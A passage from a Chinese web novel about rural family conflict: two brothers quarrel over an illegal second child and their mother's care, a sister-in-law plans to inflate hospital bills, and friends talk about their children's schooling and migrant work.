招待回娘家的姐妹时,其他兄弟可以去,也可以不去,如果兄弟之间感情好,也可以商量好,合在一起请回娘家的姐妹吃饭。 但宁绍明兄弟三个,现在感情明显不怎么样。 今天宁绍明就没去大哥和二哥那里,他还以为他二哥也不会来自己家。 赵如月说:“好久没见二哥二嫂,你有没有觉得他们瘦了很多?” 宁绍明点头:“我刚刚也注意到了,去年回来过年他俩都挺胖的,今年竟然瘦了那么多,看来我妈今年没怎么补贴他们。” “我听说他们想在县城买房,今天特地来吃饭,不会是想借钱吧?”赵如月也不怕宁绍明觉得自己偏心自己娘家人,她直接就说了,“要是他们借钱,我可不乐意借给他们,我妹妹妹夫要是不还我钱,让我爸妈知道,他们肯定会想办法私下悄悄补给我,说是我妹妹妹夫给让他们给的,你爸妈可不一定。” 而且她妹妹妹夫不还钱的概率很小,还写了借条,跟宁绍德夫妻俩说让他们写借条,他们肯定没什么好脸色,更别说自己主动提写借条这事。 宁绍明也知道自己二哥和亲妈的德性,他妈肯定偏心他二哥,虽说有时候也偏心他儿子,但大人的事,总不能让小孩子掺和吧? 至于他爸,那也是个很光棍的,最多帮他说一下他二哥,然后让他们自己解决,谁欠债找谁去,他是不可能帮忙还的。 而且这老头还有他自己的一套道理,比如什么:两个都是儿子,帮谁不帮谁都不好,不如什么都不做,不聋不瞎不做家翁,也不落埋怨。 “你放心,要是我二哥今天真是来借钱的,我肯定也不会松口。” 夫妻俩嘀咕完,赵如月去把大饭桌搬出来,摆在客厅准备上菜吃饭。 看到宁丹洁,想起来初一的时候他们家没回来,还没给她红包。 就进房间给宁丹洁拿了一个。 她是不太喜欢老二夫妻俩,但孩子是孩子,上一辈的恩恩怨怨不牵扯下一辈。 宁美婷家的两个孩子初一的时候来拜年已经给过,现在就不用再给了。 宁丹洁没想到三婶还记得给自己发红包,她说了几句吉祥话,开心地收下红包。 赵如月给了红包就出去端菜。 趁着她不在,其他人的眼睛又盯着电视看,叶菁对女儿招了招手,示意她把红包拿给自己看。 宁丹洁犹犹豫豫地拿出来,小声说:“我们在家可说好了,外公外婆那边的红包你帮我收着,爷爷奶奶这边的红包,我可以自己收着。” 叶菁瞪了她一眼,转头悄悄看向大姑姐一家。 确认他们没听到才压低声音说:“答应了就是答应了,我还能说话不算话不成?我就是想看看你三婶给了多少,等他家的两个孩子回来,我也要给他们,她家两个,我们家就你一个,给多了我们家就亏了。” 宁丹洁打开红包给她看。 叶菁一看,有些惊讶,里面竟然是一张五十块钱。 现在给小孩的红包,有个十块二十块已经算比较多的了,往年丈夫这边的亲戚,穷人多,很多人都只给一两块,两三块这样。 比较亲近的才给五块、十块、二十块。 她爸妈和哥哥嫂子们,会给多一点,但最多的也就是她爸妈给的五十块钱。 要不然她也不会只把他们给她女儿的红包收起来,让女儿自己收丈夫这边亲戚的红包。 没想到会出这个意外,现在再改口也不太好了,要不孩子该闹起来,说她说话不算话,让孩子在亲戚家闹太丢脸,叶菁只好把红包交给女儿,叮嘱她不要乱花。 然后心痛地准备两个二十五块钱的红包,预备等会儿给宁时秋和宁时夏。 宁丹洁看到里面的金额更开心了。 她今天回爷爷奶奶这边,一天下来拿到的红包加起来都没一百块,三婶这个竟然有五十块,这对她来说真是个巨大的惊喜。 等宁时秋和宁时夏回来,宁丹洁就问他们收了多少红包。 宁时夏看向自己哥哥,她的钱她一向不怎么管,留下自己想花的数额后,剩下的红包连拆都不拆,就一股脑交给她哥了。 宁时秋算了算:“加上刚才二伯娘给的红包,我和小夏的红包应该够一千块钱了。” “你们两个人的红包加起来一千吗?”宁丹洁想,他们每个人五百,好像跟自己的也差不多。 宁时秋摇头:“不是,是我和小夏各有一千。” 宁丹洁震惊了:“怎么那么多!你们的亲戚都那么有钱吗?” “那倒不是,我们爸爸妈妈给的多,爸爸给我们每人两百,妈妈也是给我们每人两百,加起来就四百了,然后我外公外婆那边的亲戚很多,几乎一条街都是亲戚。 而且好像今年大家挣到的钱都比往年多了些,像我外婆家,今年开小卖部,手头就宽裕了不少。 妈妈的长辈们今年都给三十、五十的,然后跟我妈妈同辈的舅舅姨姨们,还有我妈妈的好朋友们,这个给十几,那个给二十,加起来就那么多了,去年没这么多。” 宁丹洁又问:“那爷爷奶奶这边的亲戚呢?” “爷爷奶奶这边的亲戚,我们拿的红包跟你的应该差不多,不过我爸爸也有很多关系很铁的好兄弟,那些叔叔们也给我们红包。” 宁丹洁羡慕了:“我爸爸妈妈都没给我压岁钱,他们好像也都没有朋友。” 宁时夏说:“不会吧,二伯跟二伯娘肯定跟我爸爸妈妈一样,有从小玩到大的朋友的,像文发叔和小丽阿姨。” 宁丹洁一脸迷茫:“他们是谁?我好像不认识。” 宁时秋补充:“他们就是妙妙姐的爸爸妈妈。” 说到黄文发的女儿黄妙妙,宁丹洁才知道是谁了。 她认真想了想,自己爸爸妈妈好像真没有那样的朋友。 印象中自己以前放假时回老家玩,一起玩的那些小伙伴的爸爸妈妈,要么是大伯的朋友,要么是三叔三婶的朋友。 宁丹萍有些沮丧地说:“为什么会这样啊?我爸爸妈妈也是榕溪镇人呀……” 三个小朋友都想不通,但大人叫他们吃饭了,他们只好先把这个问题放下,一起吃饭去。 饭桌上,叶菁觉得过年期间,天天都能吃肉,已经不那么稀罕鸡鸭鱼肉了,本来还想矜持一下,然而宁绍明做的饭菜太好吃,他们一家三口吃得头都不抬。 宁美婷一家中午在老二家没吃什么东西,早就饿了,在老三家终于能敞开了吃。 宁绍明还以为他们吃了一天席,晚上这一顿估计吃不下太多,还稍微控制了一点量,好在虽然控制了量,席面上的菜种类也不少,一桌人也没能把菜都吃完。 吃饱饭后,宁美婷一家就带着宁绍明给的回礼回家去了。 主客都走了,宁绍德夫妻俩却磨磨蹭蹭,表现出一副欲言又止的样子,等着别人主动去问他们有什么事。 但宁绍明和赵如月都装作没看见。 眼看宁丹洁吃完饭都困得要睡着了,叶菁赶紧扯了扯宁绍德,示意他去找他弟说:“你们是亲兄弟,什么事都好商量,你快去!” 宁绍德不管在外面怎么样,在家里他从没求过别人。 一般想要什么,只要家里有的,他根本不需要主动要,他妈也会扒拉过来,送到他手里,或者帮他去说、去办。 乍然让他求弟弟办事,他还真有点拉不下脸来。 第120章 宁绍德犹豫半天,终究还是在叶菁的催促下,主动找宁绍明开了口:“老三,你跟我往这边来一下,我有件事想跟你说。” 宁绍明还以为他要说的是带母亲去看病的事,觉得有点奇怪,怎么说这个事要背着人说? 但宁绍明想着愿意商量已经很好了,就跟他一起往自己家旁边的小树林里走了走。 “你要说什么?”宁绍明不想看他那幅犹犹豫豫的别扭样子了,干脆直接问。 只有他们兄弟俩在,宁绍德也放开了些:“这事吧,说难也不难,只看你愿不愿意帮我。” 宁绍明看着他示意他别废话了,赶紧说重点。 宁绍德继续说道:“你二嫂怀上了,我们托人查过,这次怀的是个儿子,但是我们的工作你也知道,吃公家饭的,要是被查到生二胎,我们俩的工作都保不住。 所以我想着,等孩子生出来,能不能把孩子落到你们户口上,超生罚款我们自己出,孩子出生后的一两年,可能也要放在你们这里养,生活费我们肯定也会给,还会给你们一笔辛苦费。” “这事我帮不了。”宁绍明想都没想,直接就拒绝了。 “为什么?我们也不是不给你们补偿,”宁绍德没想到他竟然拒绝得那么干脆,有些恼怒地问,“这么个小忙你也不愿意帮?我们可是兄弟,我是你亲哥,你好意思这么眼睁睁看着我没儿子绝后? 还是你觉得你现在做生意,挣了点钱,我就眼红,怕我以后不把孩子的户口迁出来,占你的财产? 我可以很肯定地跟你说,这个事你完全可以放心,别看我跟你二嫂的现在收入不高,但我们已经找到了挣外快的路子,以后收入就算比不过你们,也不会差,还不至于惦记亲兄弟的钱!” 宁绍明听了很想冷笑,什么叫自己眼睁睁看着他绝后?这事又不是他害的。 如果是以前,宁绍明可能不觉得这事有什么难办的。 可买了拆迁区那栋房子后,赵如月和两个孩子把户口转过去没多久,拆迁区那边的户口就不许人迁入了。 这才让宁绍明重视起了户口的重要程度。 户口迁过来后,甭管他们私下怎么约定,或者签了什么协议,户口上写那孩子是他的孩子,法律就只认户口,可不管你什么约定。 万一他和他媳妇儿出什么意外,他二哥二嫂能信? 虽说这个万一不一定会发生,可他凭什么去冒这个原本没必要冒的风险,为了帮别人,给自己家孩子埋雷? 宁绍明问:“你说那孩子出生后的一两年要放在我家养,那谁照顾?你们请保姆来我家照顾吗?” 宁绍德下意识脱口而出:“当然是让咱妈帮忙照顾,妈知道我有儿子肯定愿意帮忙,而且二弟妹那个店平时不是不太忙吗?她抽点空跟妈一起照顾,你二嫂下课或者放假的时候,也可以回来照顾。” 听到他这话,宁绍明气笑了。 什么东西啊,竟然还想让自己媳妇儿给他儿子当保姆。 说什么让妈帮忙照顾,也不看看妈都多大年纪了,现在还病了,谁敢让她照顾? 最后照顾孩子的活,还不是落在自己夫妻身上? 宁绍明反问他:“你怎么不去找大嫂,大嫂更有空,还很缺钱,你愿意给她一笔钱,平时还给生活费,她没准真愿意帮你们。” 宁绍德被他问住了。 为什么不去找大嫂?还不是看不起大嫂家,觉得大嫂家条件不行,老三家的生活条件更好些。 虽然老三家在乡下,但是该有的东西都有,平时吃得也好,两个孩子教育得也好。 老三对大侄子、大侄女都那么好,自己儿子也是他侄子,总不能厚此薄彼吧? 宁绍德绕开宁绍明的问题不答,沉声说:“你真不愿意帮这个忙?” 宁绍明现在看宁绍德,觉得他简直就是一只人形杜鹃。 “是,我很可以很清楚地告诉你,我不愿意,而且我觉得你脑子也病得不轻,竟然还想让妈帮你照顾小婴儿,你难道不知道小孩子刚出生的一两年,是最折腾大人、难熬的时候吗? 妈现在的情况你难道不知道吗?就算你眼瞎看不到,大姐应该也跟你说了吧?” 宁绍明不愿意帮忙,宁绍德态度就更差了。 他面色不耐烦地说:“大姐是跟我说了,但是谁知道她说的是不是真的?大姐平时说话就喜欢夸大其词。” “你这话的意思,是不愿意带妈去医院看病了?” 宁绍德沉默了半晌没说话。 宁绍明见状还以为他多少还有点良心,这是良心发现了,正在纠结呢。 谁知他半天不说话,一说话就憋出一句更恶心人的:“要是你愿意帮我的忙,我倒是可以考虑一下,同意让妈跟你去医院看病。” 宁绍明觉得他真是疯了:“你说这话之前过脑子了吗?还是你的脑子里装的都是水,你自己想想,你刚才说的那是不是人话!” 宁绍德看宁绍明这么激动,反倒觉得自己是拿捏住了他的软肋:“反正我的条件就摆在这里,妈肯定更听我的,你自己看着办。” “我看你大爷的!”宁绍明实在没忍住,抬手给了他一拳。 宁绍德下意识想反击,但他自从工作后,锻炼得就少,平时他的课还被正科老师占去,哪能比得过天天颠勺、揉面的宁绍明。 一时间,宁绍德被揍得爬都爬不起来,还是一直关注这边的赵如月跑过来,拦了一下,宁绍明才停手。 “怎么回事,怎么就打人了!”叶菁也跑了过来,扶起宁绍德,愤怒地质问。 宁绍明冷冷地说了一句:“当然是因为他该打,我还嫌刚才打轻了!” “这是你亲哥,你竟然敢对他动手,还一副理直气壮的样子,别以为我们有事要求你们,我们就不会报警!” 宁绍明嗤笑了一声说:“那你现在就去报警吧,我家电话、小灵通都能借给打电话报警,我倒要看看,报警之后谁会被处罚得更重!” “你……”叶菁下意识地摸了摸肚子,到底没敢再叫嚣着要报警,“好歹是亲兄弟,你做事别那么绝,以后你们没准也有求我们帮忙的时候!” “以后能不能继续当兄弟还两说呢!”宁绍明指着路口,“你们俩现在就给我滚!” 一家子兄弟姐妹闹翻互不往来的事,又不少见,跟他们闹翻又怎么样? 叶菁看他脸色黑沉沉的样子,也不敢招惹他了,生怕他又动手,连自己一起打,赶紧扶着宁绍德走。 走了几步,她又想起什么,停下问:“我们请你帮忙的事,你不帮就算了,看在那也是条人命的份上,你应该不会把这事往外说吧?” 宁绍明想起来,刚才宁绍德用母亲的病威胁自己帮忙的事,以其人之道还治其人之身,把那些话都还了回去:“那得看我二哥愿不愿意配合了,要是他不同意带我妈去看病,也不愿意出钱出力,我可不一定能保证当做什么都不知道。” 宁绍德咬牙,恨恨地瞪着他。 叶菁赶紧扯了扯宁绍德的胳膊,让他赶紧表态。 宁绍德没办法,他也三十多了,要是被计生办的人发现他老婆怀孕了,带她老婆去打掉,他这辈子可能都没儿子了,毕竟离婚这事他从没想过。 “我回去后会劝妈去医院检查,到时候看病花了多少钱,我们四家平分。” 宁绍明听完用奇异的眼神看着他,这个人怎么就能无耻到这种程度? 宁绍德被他看得很不自在:“我已经答应了,你还想怎样?” “四家分?哪四家?你的意思是大哥家现在的情况,也要出钱?分家的时候大姐一亩地、一分钱、一块砖都没分到。 以前家里条件不太好的时候,大姐结了婚也经常帮衬娘家,就这样对家里付出了这么多,现在也要她分摊养老责任?大姐以前也帮衬你不少,你到底有没有良心啊? 如果你非要这样,那我可得去找爸妈和当初的见证人说一说,重新分家也给大姐一份了。” 宁绍德被他说得抬不起头来,他看宁绍明这样子,心想:老三这丧心病狂的,没准还真能做得出来去找人商量重新分家那种事。 但宁绍德还是嘴硬:“大姐没分到家产,她不承担可以,可大哥家凭什么不承担?就凭他被抓?就凭他家现在不容易?谁家又容易了?他家难道没分到东西吗?” 宁绍明道:“凭什么?就凭你们两口子一年到头不回老家看望父母几次,凭我跟我媳妇儿生意忙,也不能时时看顾父母,大嫂住得离爸妈近,爸妈有点什么,全是她帮忙,说是我们几个养老,实际上一直照顾爸妈的是大嫂!” 别看王海燕现在跟婆婆关系不好了,成天骂骂咧咧,嘴巴挺厉害,可她这个人眼里有活,老两口有什么事,她是真帮忙干啊。 她就是因为嘴巴不饶人,干了活也不讨巧的人。 赵如月每次想起来王海燕在他们夫妻俩出去打工期间做的事,心里依然会很不舒服。 可她也承认,公公和婆婆这老两口,确实是王海燕在身边照顾着。 以前自己和宁绍明在县城的店还没开张,生意没那么忙时,老两口有事还能找他们。 后来他们也忙,老两口就只能找大儿媳了。 王海燕确实没什么钱,但老人平时过日子,没什么意外的话,也用不到多少钱。 只是他们上了年纪,有些事干不了,需要找人帮忙的时候,自然只能找离自己身边最近的那个。 所以王海燕其实已经帮宁绍贤履行了养老义务。 不能因为她做的这些事,不好用金钱来衡量就当不存在。 “那你想怎么样?”宁绍德强忍着怒气问。 宁绍明说道:“出钱这方面,我们两家平摊,至于出力,你负责劝她,我负责带她去。” 宁绍德不想答应也没办法,谁他今天自己把把柄递到老三手上了:“行,但是我必须看到发票才会给钱。” 也就是说如果路费、中途吃饭之类的费用,宁绍明不开发票的话,他是不承认也不平摊的。 宁绍明觉得他这种人继续掰扯下去没意思,也不想再跟宁绍德多说:“那就这样,你最好尽快劝妈同意去医院检查,可别想着拖延时间。” 说完拉着赵如月回屋了。 宁绍德夫妻俩担心丢人,没有马上离开小树林,等到天色彻底黑下去了,才叫上宁丹洁离开。 小孩子不知道大人之间闹的矛盾,宁丹洁正跟宁时秋和宁时夏晚得开心,还不想回家。 听到妈妈叫自己,跑过去撒娇问:“妈妈,我今天留在三叔家,跟小夏一起睡可以吗?” 叶菁看她还跟宁绍明的孩子玩得那么开心,脸上那笑嘻嘻的样子,不禁怒从中来。 控制不住地抬手扇了她一巴掌:“玩玩玩,就知道玩!在乡下跟个野丫头一样乱跑,以后能有什么出息!我们以后八成靠不上你一点!” 宁丹洁一下被打懵了,回过神来才哭出声。 她心里委屈得很,不知道自己到底做错了什么,竟然会被打。 明明从县城回来的时候,爸爸妈妈还教她要劳逸结合,放假该玩的时候就尽情地玩,开学上课的时候就认真学习。 怎么还没过多长时间就变了? 大人为什么总是那么善变? 宁绍明跟赵如月回屋后,把宁绍德找自己说的事跟她说了。 赵如月听得目瞪口呆:“能查出性别,那二嫂应该怀了好几个月了吧?怪不得她今年冬天这么瘦了,还穿着去年她很胖时穿的衣服,我一点都没看出来她怀上了。” 往年回老家,叶菁总是免不了给自己和女儿买几身衣服,暗戳戳地炫耀一下那衣服是在哪哪买的,花了多少多少钱。 今年她没穿新衣服回来,赵如月还以为他们夫妻俩要攒钱买房子,不舍得花钱,再加上婆婆上次在他们那里受了气回来,不这么补贴他们,也没那么多钱补贴他们了,才没买新衣服的。 没想到是为了掩盖怀孕的事啊…… “以前二嫂总是说女儿也不比儿子差,我还以为她是真心觉得只有一个女儿也没什么不好。”赵如月想起来,自己以前听叶菁说这些,心里还感觉挺惭愧,觉得自己的思想境界不如她高。 毕竟赵如月自己以前确实有点重男轻女,上辈子她就没有意识到问题地做出过一些吸女儿血,贴补儿子的事。 还自以为是地觉得自己也是疼爱女儿的,还认为跟有些家长比起来,自己已经对女儿很好了, 还好儿子跟女儿关系好,两个孩子又都聪明而且有主见,她没成功,只是那些行为也伤了女儿的心。 后来还是在网上发帖被网友骂多了,她才意识到自己的问题。 赵如月震惊过后,冷静下来,仔细想了想,觉得这事还是透着些不对劲:“其实我也觉得你说的,这事找大嫂帮忙更好这话挺有道理。 大嫂那里,小春和丹萍都大了,又有你帮衬,大嫂不用太操心他们,她平时的活就是种地、种菜。 如果有人愿意给大嫂合适的报酬,让她照顾孩子,她肯定乐意把地包出去给别人,去挣这个钱。 可我和你的两个孩子都还小,需要操心的地方不少,我们又有生意要忙,相比起来,肯定是大嫂比较有空,这么显而易见的情况,难道二哥二嫂真的不知道吗?” 宁绍明:“你的意思是……他们还有别的目的?” 赵如月也不敢肯定,只说道:“我就是有这么一个猜测,是不是他们知道了我们在县城的店,不是租的,而是买的,所以想埋个雷,有枣没枣打一杆子。 要是能成的话,就是一箭三雕,要是不能成,也是一箭双雕,不但有了儿子,还能保下工作,不管怎么算他们都不吃亏。” 另一边,宁绍德和叶菁夫妻俩回家后,越想心里越憋屈。 “你怎么跟你三弟说的?把事情办成这个样子?” 宁绍德摸了摸被打得乌青的眼角,不想再回忆那个场面:“现在还问这些有什么用,事情都发生了,好好想接下来怎么办吧!” 叶菁很担心:“这事被你三弟夫妻俩知道了,现在我们又跟他们闹成这样,要是他说话不算话,去举报我们怎么办?” “应该不会,举报我们他有什么好处?” “没有好处人家就不会做了?就算没好处,只单单是看不惯别人就去举报的人,大有人在!而且他去举报怎么就没好处了? 你想想你们这一辈你妈最偏向谁?我们女儿这一辈又偏向谁? 我就不信他不担心,我们生了儿子,影响他儿子在你妈心里的地位!” “那他们都知道了,你说我们还能怎么办?” 叶菁也不知道该怎么办,他们难道还能杀人灭口不成? “只能盼着他们真能不说出去了,你明天抓紧时间去劝劝你妈,赶紧跟你三弟去看病吧。” 从来没吃过亏的宁绍德心里非常不爽:“吃亏就算了,还得出钱……” 叶菁想到这个也心烦得很,让她出钱跟割她的肉似的,她想着要是能不出钱,又让宁老三家钱包出点血就好了。 想着想着,她还真想出来一个主意:“要不我们带你妈去医院检查怎么样?” 宁绍德躺在床上哼了一声说:“不怎么样,你以为带她去医院检查很轻松吗?来回要花一笔车费,中间在市里吃完饭,又花一笔饭钱,车费还好,坐公交车和客车,可以用车票当凭证,回来跟老三平摊。 可吃饭喝水很难开发票的,能开发票的地方吃饭也不便宜,哪怕在那种地方开了发票回来,再跟老三平摊也不划算,总之怎么算都亏,劝我妈去看病只用动动嘴就行,那个更划算你自己不会算?” “我怎么不会算,你忘了我娘家那边帮我们查性别的那个亲戚?我们可以带妈去那个亲戚工作的医院,到时候让他帮帮忙,操作一下,一百块能写成五百!回来跟你三弟一平摊……” 宁绍德一听,立刻坐了起来,越想越觉得这个主意好:“这样我们可以狠狠地赚一笔,让他在我这当哥的面前嚣张!” “就当他打你赔给我们的医药费了!” 宁绍德激动地说:“没错没错,我明天……不行,我这个样子,明天不好出门,你明天去说吧,你怀着孕,他不敢对你动手。” “我先回我爸妈家一趟,给那个亲戚打电话,问问他能不能帮这个忙。” 宁绍德叮嘱她:“可别让你爸妈他们听见,这个事知道的人越少越好。” “这还用你说,我带着丹洁去,让丹洁拉着我爸妈出门玩。”叶菁说着走出房间,打开女儿房间的门喊了一声,“丹洁,出来,我有事找你。” 被叫到名字的宁丹洁不由自主地抖了一下,小心翼翼地走出房门。 叶菁跟她交代了一下,然后带着她去自己娘家。 趁着家里人都出去,她抓紧时间给那个亲戚打了电话,对方没怎么犹豫就很快答应了,似乎没少做这样的事。 两人沟通好后,叶菁挂了电话,若无其事地带着宁丹洁离开娘家。 回老宅的路上,两人走到一半,叶菁想着也别明天去找宁绍明了,干脆现在就去。 她让宁丹洁回家:“回去跟你爸说一声,我去你三叔家,晚点回去。” 叶菁再次来到宁绍明家的时候,宁绍明正在厨房里给自家孩子做好吃的。 赵如月听到敲门声,打开门看到是她,有些意外:“二嫂,你怎么这个时候来了?” 刚闹完又自己一个人来?不是有什么阴谋吧? 赵如月脑子里闪过一些电视里别人用孕肚陷害人的情节。 叶菁看赵如月没有让自己进门的意思,也不在意:“我来是想跟你们商量一下,妈看病的事。” 赵如月问:“这事不是说好了吗?” “是说好了,但也不是不能改对吧?我们回去后商量了一下,你们带妈去我们不放心,毕竟你们两个文化水平都不高,检查出结果,检查单你们能看懂吗?医生跟你们解释病因什么的,你们能听懂吗?” 这个时候,叶菁满心都是自己的完美计划,完全忘了,赵如月娘家那边,家族里当医生护士的人更多。 赵如月没忍住翻了个白眼:“我们只是学历不高,不是傻子。” “好,但你们也得承认,妈比较听丹洁爸爸的话,我们带她去更合适,要不然中途妈又不想去医院检查了,你们也劝不好她对吧?” 赵如月不知道他们葫芦里又卖什么药,但不得不承认,她那些话有点道理,老太太本来就挺难搞,更别说生病的时候。 他们带老太太去看病,总不能连小秋也一起带去,那也太折腾孩子了。 不过事这她不能自己决定:“我们得商量一下。” “那行,我就在这里等着,你们商量好出来说一声。” 赵如月走进厨房,跟宁绍明把叶菁来的事跟他说了。 宁绍明擦了擦汗,想了想,点头说:“那就让他们带,我倒要看看他们还想耍什么花招。” 120-130 第121章 叶菁得了答复,心满意足地回去跟宁绍德商量带婆婆去市里看病的日期。 “老三夫妻俩同意了,但是要求我们尽快带妈去,你看什么时候合适,我好跟那个亲戚约好时间。” “等我脸上的乌青消下去再说吧。”宁绍德怕脸上被打的痕迹被人看到让自己丢脸。 叶菁看了看他脸上的痕迹:“那估计得十来天,就我怕他们催我们。” 宁绍德哼了一声说:“催就催,我们又不是不带,他们着急就自己带,反正要是他们不跟我商量,就自己带我妈去看病,我可不认账,快睡吧,明天早上早点起床,早点回县城。” 他们本来还想着在老家多待几天,去叶菁娘家跟他哥多参加几次饭局,多认识点人,现在计划全被毁了。 第二天只能趁着天没亮,没人能看到自己脸上的乌青痕迹,抓紧时间骑他们的摩托车回县城。 到了县城宁绍德也带着帽子,还用围巾把大半张脸围起来,把自己裹得严严实实。 邻居问起就说骑车回来太冷了,然后赶紧进屋。 接下来他一连好多天,没出过家门。 赵如月一家今年过年唯一的烦心事,随着宁绍德一家回县城而暂时远离。 两人提着东西来到黄文发家。 吴丽迎出来一看,瞪着眼道:“怎么来我家还带东西,你们俩这是跟我们客气呢?” 赵如月把东西放下:“不是什么值钱的东西,只是一些自家做的面包,我是想着我们关系这么好,别人吃过我们家面包多少回了,你们还没吃过你呢,不拿点来让你们尝尝怎么行?” 说只是面包,其实除了两箱面包,还带了一箱牛奶。 吴丽忙招呼他们坐下,宁绍明闲不下来,坐下来没几分钟,就溜达着走到厨房。 过年过节,镇上大多都是男人下厨,他进去跟兄弟们聊了几句,自然而然地挽起袖子就开始帮忙。 其他人刚开始也没反应过来,回过神来,宁绍明已经掌握了铁锅的控制权,开始颠勺炒菜了。 黄文发的语气玩笑里带着无奈:“本来是请你吃饭,结果一个不留神,你又成做饭的了。” 宁绍明:“聚餐嘛,大家一起动手才有意思。” “行吧,那我给你打下手,好久没干这个,可真怀念你也在酒店后厨的日子,经理和总厨,还有后厨的同事也总念叨你,都说要是你能留下就好了,你不知道你刚辞职那会儿,没人给我帮忙,我的日子有多难熬。” “你这说得也太夸张了,”宁绍明笑道,“现在你不是也掌勺了吗?说明你不是学不会,就是不想学,我走了还更有利于你进步!” “可拉到吧,我每天上班就是熬日子,为了能多拿点工资才坚持下来的,我感觉我还是不太适合当厨子,就是不知道除了做这个还能做什么,唉……”黄文发夸张地叹了口气,拿起一颗大蒜剥起来,“我还是适合给你打下手。” 另一个人玩笑地嫌弃道:“我看你不是想给绍明打下手,是想趁机偷懒!” 黄文发乐了:“你们这些人能不能别那么了解我!” “哎呀,这个太难了,办不到!” 众人听着他们插科打诨都笑了起来。 赵如月在外面跟吴丽还有其他人的老婆一起,烤着火盆,边择菜边聊天。 聊着这一年各自身边发生的事,说着说着,谈到孩子读书的问题。 有几个人年纪比赵如月和吴丽都大些,结婚也比较早,小孩比她们家的孩子大好几岁,现在已经上初中了。 其中一个说起这个,眉头不由自主就皱起来了:“我家那小子说读不下去,不想去学校了,可他初中都没毕业,年纪也不够出去打工,我真不知道该拿他怎么办。” 另一个说:“我儿子也是,我们一年到头不在家,没法管他,他爷爷奶奶上了年纪也不太懂,又溺爱孩子,那小子这个学期都没怎么去上学,拿了生活费,骗他爷爷奶奶说去学校了,其实是去县城的那个什么网吧打游戏。” 赵如月诧异地问:“他没去上学,老师不给你们打电话,也不来家访吗?” “电话打过,老师也来家里找过,可我们都不在家,离得太远也回不来,知道又有什么用?我们总不能不干活了,回来专门守着他,来回一趟路费可不便宜,总是回来,全家都得喝西北风去。 唉,他不想读就不读吧,反正那小子也不是读书的料,我跟他爸现在只要求他能混到个初中文凭,到了年纪,就带出去跟我们一起干活挣钱去。” “现在镇上和附近村子好多小子都这样,学习好的少,混的多,我听人说,很多初中生半夜都爬墙跑出学校,去游戏厅和网吧玩,老师也没法管,有些厉害的,连老师都打!” “啧啧,可真是一代不如一代,现在的小孩越来越难管,一个个都是小少爷小公主,想想我们以前,哪敢打老师啊?不被老师收拾就不错了,以前老师家农忙,还得去帮老师干活呢!” “要是我家的孩子跟如月家的孩子一样读书厉害,我就是砸锅卖铁也愿意供他读,可他自己不争气呀!” “像小丽家的妙妙那样也不错,小丽,你家妙妙学习成绩也挺好的吧?是不是快上初中了?” 吴丽点头:“今年九月份就上初中了,妙妙还好,比较懂事,让我们俩很省心,就是我家圣德太皮了,老师给我打电话,说他聪明是挺聪明,就是不把那点聪明用在学习上。” 有过来人告诉她:“趁着你家圣德还小,你跟文发可得好好管管,要不等他上初中就难管了。” 那几个儿子上初中的人都不约而同地点头,说自己儿子就是这样,小时候虽然也有点淘气,但还是挺听话的,大人能管得住。 有个人的儿子,小学时学习成绩也不错,时不时考试还能拿奖状回家。 可一上初中就变了,特别不耐烦大人的管教,说也说不得,多念叨几句还跟大人急眼。 身边这一个个例子,让吴丽听着越发担忧自己儿子以后也变成这样。 几人聊着天,菜择好了,话题也变成了别的事。 等饭菜做好上桌,其他人都把刚才聊的事情抛到脑后,只有吴丽还一直记着,并且为儿子的事心烦不已。 赵如月看出她整个人吃饭时全程都有些心不在焉。 等吃完饭,其他人都回去了,赵如月跟吴丽认识最久,关系也比较好,就特地留下来关心了一下:“你今天怎么了?吃饭的时候跟神游似的。” 吴丽跟她说出了自己担忧的事,边说边叹气。 赵如月听完也忍不住跟着叹气:“这事确实不好办,孩子的教育问题,每个家长都很头疼,别看我家这两个孩子看起来挺好的,其实我也不知道该怎么教。” 吴丽对这个也特别有感触:“这话确实没错,像妙妙就不怎么用人教,她自己就会主动学习,脾气也好,特别听话懂事,还会帮大人照顾弟弟,圣德就太不让人省心了。” 她想了想跟赵如月说起自己心不在焉地吃饭时,想出来的办法:“你说,我和文发把圣德带到鹏城去上学怎么样?我听那几个嫂子说她们儿子的事,很多都是父母不在身边,离得太远没法管,孩子才变成那样,我们把孩子带在身边是不是就不会这样了?” 赵如月听得心里一咯噔:“那妙妙呢?” “妙妙天生就懂事,不用我们操心太多,而且她也快要上初中了,不好转学,听说没在那边上过小学,去那边很难跟上别人的,圣德还在上小学,转学就比较方便点。 而且圣德当初提前了一年上学,转学过去可以留一级,比较好追上别人的进度,妙妙成绩好,以后可能要考高中和大学。 她就算去那边读了初中、高中,高考的时候也要回来考,何必再折腾呢? 圣德读书不太行,以后考不上高中的话,可以在那边读个中专,听说那边的中专读出来学校还给联系工作。” 还有一点,也是最重要、最让吴丽无奈的一点:“我们不是本地人,带孩子去那边读书,择校费可不便宜,我们俩上有老下有小,每个月挣的那点钱,真不够把两个孩子都带去,要是有钱的话,我怎么可能不想两个孩子都带在身边呢。” 赵如月听她话里的意思,似乎是真打算带黄圣德去了。 “要不,你们回县城?我现在开店卖MP3、MP4,生意不错,货源是厂家直供,在厂家那边有熟人,货源很稳定,现在县城卖这些的店不多,文发口才那么好,我觉得你们也可以开店卖那些,如果做成了,既能挣钱,也能离家近点。” 赵如月没把话说得太绝对,其实如果他们真愿意做,凭黄文发那三寸不烂之舌,又有自己的经验和帮助,想失败都很难。 想当初她和宁绍明回来的时候,可没人帮忙,也没人告诉他们怎么开店。 他们几乎全是自己一步步摸着石头过河,要是吴丽和黄文发回来,有人带着做,情况可比他们那时候好多了。 不过赵如月也不能直接打包票说一定能成,她只能给个建议,毕竟什么事情都不是百分之百能成功的。 吴丽摇头:“做生意哪有那么容易,你们能成是你们有创业的闯劲,也有本事,我们俩不行的,没有那么大勇气。 万一开店不成,赔本了,那我们这两年的工就白打了,还不如老老实实打工,安安稳稳地挣一份工资,文发才升到炒菜师傅的位置没几个月,我们实在不敢像你们当初那样,说辞职就辞职了。” 她这么说,赵如月也不好再劝下去,毕竟上赶着不是买卖。 只是让吴丽再多考虑考虑,只带一个孩子去,另一个孩子也太可怜了。 就是上辈子,她都没有过只带一个孩子在身边这样的想法。 跟吴丽聊完回去后,赵如月跟宁绍明说起这个事,让宁绍明改天遇到黄文发的时候,也劝劝黄文发。 宁绍明也觉得这样不太好,隔了一天遇到黄文发,跟他聊到这事,就劝了几句,也跟他说,不想开电子专营店,可以开餐饮店,自己可以帮忙。 可黄文发也跟吴丽一个想法,还是舍不得刚涨薪的工作,仍然更倾向于继续去鹏城打工。 